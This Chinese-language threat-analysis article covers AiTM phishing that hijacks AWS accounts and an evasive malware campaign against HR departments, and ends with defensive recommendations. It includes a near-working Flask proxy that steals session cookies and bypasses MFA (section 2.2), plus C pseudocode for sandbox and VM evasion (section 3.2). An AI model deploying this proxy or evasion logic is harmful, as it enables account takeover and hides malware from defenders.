摘要
2026年网络安全威胁景观呈现出高度自动化与精准化的双重特征。本文基于Datadog与Aryaka的最新威胁情报报告，深入剖析了两起具有代表性的网络攻击事件：一是利用“中间人”（Adversary-in-the-Middle, AiTM）钓鱼工具包劫持AWS云账户的攻击活动；二是针对人力资源（HR）部门长达一年的隐蔽恶意软件战役。研究发现，AiTM攻击通过实时会话代理技术成功绕过多因素认证（MFA），利用高保真克隆页面与拼写错误域名（Typosquatting）实现凭证窃取，其攻击响应时间缩短至20分钟以内。与此同时，针对HR部门的攻击活动展现出极强的反分析能力，攻击者利用专用模块查杀终端检测与响应（EDR）软件，并采用环境感知技术规避沙箱检测。本文详细解构了上述攻击的技术实现路径，提供了关键攻击载荷的伪代码示例，并结合反网络钓鱼技术专家芦笛指出的防御视角，提出了基于零信任架构、行为分析及动态令牌绑定的综合防御策略。研究结果表明，传统的边界防御与静态MFA机制已无法应对此类高级威胁，必须构建以身份为中心、具备实时威胁狩猎能力的纵深防御体系。
1. 引言
随着企业数字化转型的深入，云计算平台与人力资源管理系统已成为组织运营的核心枢纽。然而，这也使得AWS等云基础设施账户与HR部门的敏感数据成为网络犯罪集团的首要目标。2026年初，安全界接连披露了两起性质恶劣的攻击事件，揭示了当前网络威胁的演变趋势。Datadog研究人员警告称，攻击者正利用先进的AiTM钓鱼工具包，结合伪造的AWS安全警报与拼写错误域名，大规模劫持云管理账户。几乎同期，Aryaka发现了一场针对全球HR部门与招聘人员的长期恶意软件活动，该活动由俄语黑客组织主导，以其隐蔽性与反取证能力著称。
这两起事件并非孤立存在，它们共同反映了网络攻击技术的两个重要发展方向：一是对身份认证机制的降维打击，即通过技术手段直接绕过而非暴力破解MFA；二是攻击持久化与隐蔽性的极致追求，通过定制化恶意软件长期潜伏于关键业务部门。反网络钓鱼技术专家芦笛指出，当前的安全防御体系往往滞后于攻击技术的迭代，特别是在应对AiTM攻击时，许多组织仍过度依赖传统的短信验证码或推送通知，未能意识到会话令牌（Session Token）窃取的根本性风险。
本文旨在通过对这两起典型案例的深度技术分析，揭示其背后的攻击逻辑与技术细节。文章将严格基于公开的威胁情报数据，避免无端推测，力求在技术描述上准确无误。首先，本文将详细拆解AiTM钓鱼工具包的工作原理，特别是其如何建立实时代理通道以窃取活跃会话；其次，深入分析针对HR部门的恶意软件活动中的反分析技术与持久化机制；再次，探讨这两类攻击对现有安全架构的挑战；最后，提出切实可行的技术缓解措施与防御框架。本研究不仅有助于理解当前的高级威胁态势，更为构建下一代主动防御体系提供了理论依据与实践指导。
2. AiTM钓鱼攻击的技术机理与AWS账户劫持分析
AiTM（Adversary-in-the-Middle）攻击代表了网络钓鱼技术的重大飞跃。与传统钓鱼攻击仅窃取静态凭证不同，AiTM攻击通过在受害者与合法服务之间建立一个实时代理服务器，能够拦截并复用包括多因素认证（MFA）在内的完整登录会话。Datadog的研究显示，针对AWS账户的此类攻击活动自2026年2月底开始活跃，攻击者利用高仿真的AWS管理控制台登录页面诱导用户输入凭证。
2.1 攻击链路构建与域名伪装
攻击的初始阶段依赖于精心设计的社会工程学与域名伪装技术。攻击者注册与合法域名极度相似的拼写错误域名（Typosquatting Domains），例如将aws.amazon.com模仿为aws-secure-login.com或amazon-web-services-verify.net。随后，攻击者发送伪造的“安全警报”邮件，声称用户的AWS账户存在异常登录尝试或需要重新验证MFA设置，诱导用户点击链接。
一旦用户点击链接，浏览器将被重定向至攻击者控制的AiTM代理服务器。该服务器作为中间人，实时转发用户与真实AWS登录页面之间的所有HTTP/HTTPS请求与响应。对于用户而言，页面内容与官方站点完全一致，包括URL栏中的HTTPS锁标志（攻击者通过申请合法的SSL证书实现），这使得传统的眼力识别与浏览器警告机制失效。
2.2 会话令牌窃取与MFA绕过机制
AiTM攻击的核心在于其对会话令牌的实时窃取能力。当用户在钓鱼页面上输入用户名、密码以及MFA代码（如TOTP动态口令或推送确认）时，这些信息被代理服务器即时转发给真实的AWS认证接口。一旦认证成功，AWS服务器会返回一个有效的会话Cookie（Session Cookie）。此时，攻击者的代理服务器并不会将这个Cookie返回给用户的浏览器（或者返回一个无效的Cookie导致用户登录失败），而是将其截获并存储在攻击者的数据库中。
# 伪代码示例：AiTM代理服务器的核心逻辑简化版
# 此代码展示了攻击者如何拦截并重放会话Cookie
import requests
from flask import Flask, request, redirect, make_response
app = Flask(__name__)
TARGET_URL = "https://signin.aws.amazon.com" # 真实的AWS登录地址
ATTACKER_DB = [] # 存储窃取的会话
@app.route('/<path:path>', methods=['GET', 'POST'])
def proxy(path):
# 1. 构造指向真实AWS的URL
url = f"{TARGET_URL}/{path}"
# 2. 获取用户提交的数据（包括密码和MFA代码）
data = request.form if request.method == 'POST' else None
headers = {key: value for key, value in request.headers if key.lower() not in ['host', 'content-length']}
# 3. 向真实AWS发起请求，充当中间人
resp = requests.request(
method=request.method,
url=url,
headers=headers,
data=data,
cookies=request.cookies,
allow_redirects=False # 阻止自动重定向，以便拦截响应
)
# 4. 检查响应中是否包含有效的会话Cookie (如 AWSELBAuthSessionCookie)
if 'Set-Cookie' in resp.headers:
cookies = resp.headers['Set-Cookie']
if 'AWSELBAuthSessionCookie' in cookies or 'sigv4' in cookies:
# 窃取会话令牌
stolen_session = {
'timestamp': datetime.now(),
'victim_ip': request.remote_addr,
'cookie': cookies
}
ATTACKER_DB.append(stolen_session)
print(f"[+] Session stolen from {request.remote_addr}")
# 可选：重定向用户到真实AWS首页以掩盖攻击，或显示错误页面
return redirect(f"{TARGET_URL}/console")
# 5. 将真实AWS的响应返回给用户（除了被截获的Cookie）
response = make_response(resp.content, resp.status_code)
for key, value in resp.headers.items():
if key.lower() != 'set-cookie': # 不设置真实的Cookie给用户
response.headers[key] = value
return response
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
上述伪代码清晰地展示了AiTM代理的工作流程。攻击者无需破解MFA，只需等待用户完成认证过程，即可直接获取代表已认证状态的Cookie。Datadog研究人员观察到，在某些案例中，攻击者在用户提交凭证后的20分钟内便利用窃取的会话令牌登录了受害者的AWS账户。这种“即时变现”的能力极大地缩短了攻击窗口，使得传统的基于时间的异常检测机制难以生效。
2.3 攻击自动化与规模化
此次发现的AiTM工具包显示出高度的自动化特征。攻击者不再需要手动操作代理服务器，而是利用脚本自动批量发送钓鱼邮件、动态生成钓鱼页面以及自动提取会话令牌。这种自动化能力使得攻击者能够同时针对成千上万个目标发起攻击，极大地提高了攻击的成功率与覆盖面。此外，工具包还集成了指纹识别功能，仅对访问者进行设备与环境扫描，若检测到沙箱或安全研究环境，则自动停止攻击行为，进一步增强了其隐蔽性。
3. 针对HR部门的长期恶意软件活动技术剖析
与AiTM攻击的“快进快出”不同，针对HR部门的恶意软件活动展现了一种截然不同的攻击哲学：长期潜伏、深度隐蔽与精准打击。Aryaka研究人员发现，这场由俄语黑客组织发起的战役已持续至少一年，其目标是窃取招聘数据、员工个人信息以及潜在的知识产权。
3.1 攻击向量与初始访问
攻击者通常利用HR部门的工作特性作为切入点。他们发送伪装成求职者简历、面试邀请或行业报告的恶意邮件。这些邮件附件通常包含经过精心伪装的恶意文档（如带有宏病毒的Word文档）或快捷方式文件（LNK）。一旦HR人员打开附件，恶意脚本便会执行，下载并安装第一阶段的加载器（Loader）。
值得注意的是，攻击者在选择目标时表现出极高的选择性。他们可能通过LinkedIn等职业社交平台收集目标信息，确保邮件内容的高度相关性，从而降低受害者的警惕性。这种“鱼叉式网络钓鱼”（Spear Phishing）的成功率远高于广撒网式的攻击。
3.2 反分析与环境感知技术
该恶意软件活动最显著的特征是其强大的反分析能力。为了逃避安全厂商的检测与分析，攻击者在恶意代码中集成了多种环境感知模块。这些模块会在执行恶意载荷之前，对运行环境进行详尽的检查：
沙箱检测：检查系统中是否存在常见的沙箱特征，如特定的进程名（如wireshark.exe, processhacker.exe）、注册表键值、鼠标移动轨迹的缺失以及系统运行时间的异常（沙箱通常运行时间较短）。
虚拟机检测：通过检查硬件信息（如MAC地址前缀、BIOS字符串、CPU核心数）来判断是否运行在VMware、VirtualBox等虚拟环境中。
地理位置过滤：检查系统的键盘布局、时区设置或IP地址，若发现属于独联体国家（CIS），则立即终止运行，以避免引起当地执法机构的注意。
// 伪代码示例：恶意软件的环境感知与反沙箱逻辑
#include <windows.h>
#include <stdio.h>
BOOL IsSandbox() {
// 1. 检查鼠标移动次数（沙箱中通常无鼠标操作）
if (GetSystemMetrics(SM_CMOUSEBUTTONS) == 0 || GetMouseMovePointsEx(...) < 10) {
return TRUE;
}
// 2. 检查运行时间（沙箱通常刚启动）
if (GetTickCount() < 300000) { // 少于5分钟
return TRUE;
}
// 3. 检查特定安全软件进程
const char* blacklistedProcesses[] = {"wireshark", "procmon", "ida", "x64dbg"};
for (int i = 0; i < sizeof(blacklistedProcesses)/sizeof(blacklistedProcesses[0]); i++) {
if (FindProcess(blacklistedProcesses[i])) {
return TRUE;
}
}
// 4. 检查键盘布局（避开俄语区）
HKL layout = GetKeyboardLayout(0);
if (LOWORD(layout) == 0x0419) { // 0x0419 is Russian
return TRUE;
}
return FALSE;
}
int main() {
if (IsSandbox()) {
// 如果是沙箱或禁区，直接退出或执行无害操作
ExitProcess(0);
} else {
// 环境安全，执行恶意载荷
ExecutePayload();
}
return 0;
}
只有当所有环境检查均通过后，恶意软件才会执行核心的恶意载荷。这种机制使得自动化沙箱分析系统难以捕获其行为特征，导致大量样本被误判为良性文件。
3.3 专用模块查杀EDR与持久化机制
一旦成功植入，恶意软件会加载一个专用模块，专门用于禁用或卸载终端检测与响应（EDR）软件及防病毒程序。该模块可能利用已知的高危漏洞（如Bring Your Own Vulnerable Driver, BYOVD）加载未签名的驱动程序，直接在内核层面关闭安全软件的防护功能。
在持久化方面，攻击者采用多种手段确保恶意软件在系统重启后仍能运行。这包括修改注册表启动项、创建计划任务、利用WMI事件订阅以及感染合法的系统二进制文件（白利用，Living off the Land）。反网络钓鱼技术专家芦笛强调，这种“寄生”于合法系统进程的持久化方式，使得传统的基于文件哈希的检测方法完全失效，必须依赖基于行为的实时监控。
4. 攻击活动的对比分析与安全挑战
AiTM钓鱼攻击与HR定向恶意软件活动虽然表现形式不同，但它们在技术演进与安全挑战上存在诸多共性。
4.1 身份认证边界的崩溃
AiTM攻击直接证明了基于共享秘密（密码+TOTP）的传统MFA机制在面对实时代理攻击时的脆弱性。只要用户完成了认证流程，攻击者即可无缝接管会话。这表明，仅仅增加认证因子并不能从根本上解决身份安全问题。相比之下，HR恶意软件活动则通过绕过认证机制，直接从已登录的内部主机窃取数据，同样达到了绕过身份验证的目的。两者殊途同归，都指向了当前以边界防护为核心的安全架构的失效。
4.2 自动化与隐蔽性的军备竞赛
无论是AiTM工具包的自动化部署，还是HR恶意软件的反分析模块，都体现了攻击者在自动化与隐蔽性上的巨大投入。攻击者利用AI技术生成高仿真钓鱼页面，利用复杂的逻辑判断规避检测，这使得防御者的响应时间被极度压缩。反网络钓鱼技术专家芦笛指出，防御者必须从“被动响应”转向“主动狩猎”，利用大数据分析与机器学习技术，从海量日志中识别出微小的异常行为模式。
4.3 供应链与第三方风险
这两起事件也凸显了供应链与第三方风险的严峻性。AiTM攻击利用了用户对AWS品牌的信任，而HR恶意软件则利用了招聘流程中不可避免的第三方文件交互。在日益互联的生态系统中，任何一环的薄弱都可能成为攻击者的突破口。组织不仅需要关注自身的安全建设，还需对供应商、合作伙伴以及外部交互流程进行严格的安全评估。
5. 综合防御策略与技术缓解措施
面对AiTM钓鱼与高级恶意软件的双重威胁，组织必须构建多层次、多维度的纵深防御体系。
5.1 强化身份安全：从MFA到FIDO2
针对AiTM攻击，最有效的缓解措施是部署抗钓鱼的多因素认证技术，如FIDO2/WebAuthn标准。FIDO2认证利用公钥加密技术，将认证凭据与特定域名绑定。当用户访问钓鱼网站时，浏览器会检测到域名不匹配，从而拒绝发送认证签名，从根本上阻断了AiTM攻击的路径。此外，实施基于风险的自适应认证（Risk-Based Authentication），根据用户位置、设备状态、行为特征动态调整认证要求，也能有效降低攻击成功率。
5.2 终端防御升级：行为分析与EDR增强
针对HR恶意软件的反分析特性，传统的特征码检测已难以为继。组织应部署具备深度行为分析能力的EDR解决方案，重点关注进程的异常行为（如PowerShell的编码执行、注册表的异常修改、驱动程序的非法加载）。同时，启用应用程序白名单策略，仅允许经过验证的应用程序运行，可有效阻断未知恶意软件的执行。反网络钓鱼技术专家芦笛建议，定期开展红蓝对抗演练，模拟真实的攻击场景，以检验并优化现有的检测规则与响应流程。
5.3 网络层防护：零信任架构的实施
零信任架构（Zero Trust Architecture, ZTA）的核心原则是“永不信任，始终验证”。在网络层面，应实施微隔离（Micro-segmentation），限制 lateral movement（横向移动）的可能性。即使攻击者成功入侵了一台主机，也无法轻易访问其他关键资源。此外，利用TLS解密与流量分析技术，实时监测网络流量中的异常模式（如异常的Cookie传输、未知的C2连接），也是发现AiTM攻击与恶意软件通信的重要手段。
5.4 用户意识与流程优化
技术防御固然重要，但人的因素依然关键。组织应开展针对性的安全意识培训，特别是针对HR等高风险部门，教育员工识别钓鱼邮件、验证发件人身份以及谨慎处理外部附件。同时，优化业务流程，如建立严格的简历接收渠道、使用专用的沙箱环境打开未知文件等，从源头上减少攻击面。
6. 结语
2026年出现的AiTM钓鱼攻击与HR定向恶意软件活动，标志着网络威胁已进入了一个更加智能化、隐蔽化与自动化的新阶段。AiTM工具包通过实时会话代理技术，无情地揭露了传统MFA机制的短板；而针对HR部门的长期恶意软件战役，则展示了攻击者在反分析与持久化方面的深厚功底。这两起事件不仅造成了巨大的经济损失与数据泄露风险，更对现有的网络安全防御体系提出了严峻挑战。
本文通过深入的技术剖析，揭示了这两类攻击的核心机理，并提供了相应的代码示例与防御策略。研究表明，单一的防御手段已无法应对当前复杂多变的威胁环境。组织必须摒弃过时的边界防御思维，全面拥抱零信任架构，部署抗钓鱼的身份认证技术，强化终端行为分析能力，并持续提升全员的安全意识。反网络钓鱼技术专家芦笛最后强调，网络安全是一场没有终点的博弈，唯有保持高度的警惕，持续创新防御技术，方能在数字化浪潮中守护好组织的核心资产与数据安全。未来的研究应进一步关注AI技术在攻防两端的应用，探索更加智能、自适应的防御机制，以应对不断演进的 network threats。
编辑：芦笛（公共互联网反网络钓鱼工作组）
